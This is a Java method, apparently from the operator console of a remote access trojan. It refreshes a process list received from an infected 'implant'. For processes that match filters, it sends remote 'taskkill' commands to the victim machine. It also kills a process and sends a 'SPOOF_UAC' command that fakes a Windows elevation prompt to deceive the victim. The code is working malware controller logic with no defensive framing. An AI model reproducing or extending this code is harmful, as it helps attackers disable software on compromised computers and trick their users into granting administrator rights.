private boolean refreshJTable()
  {
    try
    {
      try
      {
        this.jtblProcessList.removeAllRows();
      } catch (Exception localException1) {
      }
      for (int i = 0; i < this.alCurrentDisplayedProcesses.size(); i++)
      {
        if (this.filterEnabled_ProcessList)
        {
          this.addProcessToJTable = false;

          this.addProcessToJTable |= filterProcessList(0, (Node_RunningProcess)this.alCurrentDisplayedProcesses.get(i));
          this.addProcessToJTable |= filterProcessList(1, (Node_RunningProcess)this.alCurrentDisplayedProcesses.get(i));
          this.addProcessToJTable |= filterProcessList(2, (Node_RunningProcess)this.alCurrentDisplayedProcesses.get(i));
          this.addProcessToJTable |= filterProcessList(3, (Node_RunningProcess)this.alCurrentDisplayedProcesses.get(i));
          this.addProcessToJTable |= filterProcessList(4, (Node_RunningProcess)this.alCurrentDisplayedProcesses.get(i));
          this.addProcessToJTable |= filterProcessList(5, (Node_RunningProcess)this.alCurrentDisplayedProcesses.get(i));
          this.addProcessToJTable |= filterProcessList(6, (Node_RunningProcess)this.alCurrentDisplayedProcesses.get(i));
          this.addProcessToJTable |= filterProcessList(7, (Node_RunningProcess)this.alCurrentDisplayedProcesses.get(i));
          this.addProcessToJTable |= filterProcessList(8, (Node_RunningProcess)this.alCurrentDisplayedProcesses.get(i));

          if (this.addProcessToJTable)
          {
            this.jtblProcessList.addRow(((Node_RunningProcess)this.alCurrentDisplayedProcesses.get(i)).getRowData());
          }

          this.addProcessToJTable = false;
        }
        else
        {
          this.jtblProcessList.addRow(((Node_RunningProcess)this.alCurrentDisplayedProcesses.get(i)).getRowData());
        }

        if (this.filterEnabled_ProcessKill)
        {
          if (filterProcessList(9, (Node_RunningProcess)this.alCurrentDisplayedProcesses.get(i)))
          {
            Driver.sop("Process Found: [" + ((Node_RunningProcess)this.alCurrentDisplayedProcesses.get(i)).myImageName + "] in implant " + this.myThread.getJListData() + " sending kill command!");

            this.myThread.sendCommand_RAW("taskkill /f /im \"" + ((Node_RunningProcess)this.alCurrentDisplayedProcesses.get(i)).myImageName.trim() + "\"");
          }

        }

        if (this.filterEnabled_WindowsUAC)
        {
          if (filterProcessList(10, (Node_RunningProcess)this.alCurrentDisplayedProcesses.get(i)))
          {
            Driver.sop("UAC Spoof Enabled. Process Found: [" + ((Node_RunningProcess)this.alCurrentDisplayedProcesses.get(i)).myImageName + " PID: " + ((Node_RunningProcess)this.alCurrentDisplayedProcesses.get(i)).PID + "] in implant " + this.myThread.getJListData() + " spoofing UAC!");

            this.myThread.sendCommand_RAW("taskkill /f /pid  " + ((Node_RunningProcess)this.alCurrentDisplayedProcesses.get(i)).PID);

            this.myThread.sendCommand_RAW("SPOOF_UAC," + ((Node_RunningProcess)this.alCurrentDisplayedProcesses.get(i)).myImageName.trim() + ", " + ((Node_RunningProcess)this.alCurrentDisplayedProcesses.get(i)).myImageName.trim());

            this.jcbEnabled_UAC_Spoof.setSelected(false);
            this.filterEnabled_WindowsUAC = this.jcbEnabled_UAC_Spoof.isSelected();
            this.jlblWindowsUACEnabled.setVisible(this.filterEnabled_WindowsUAC);
          }

        }

      }

      this.jtblProcessList.sortJTable_ByRows(this.jtblProcessList.dfltTblMdl, this.jtblProcessList.jcbSortTableBy.getSelectedIndex(), this.jtblProcessList.sortInAscendingOrder);

      this.jlblRunningProcessListAsOf.setText("Last Update Received at " + Driver.getTimeStamp_Without_Date());

      return true;
    }
    catch (Exception e)
    {
      Driver.eop("refreshJTable", this.strMyClassName, e, e.getLocalizedMessage(), false);
    }

    return false;
  }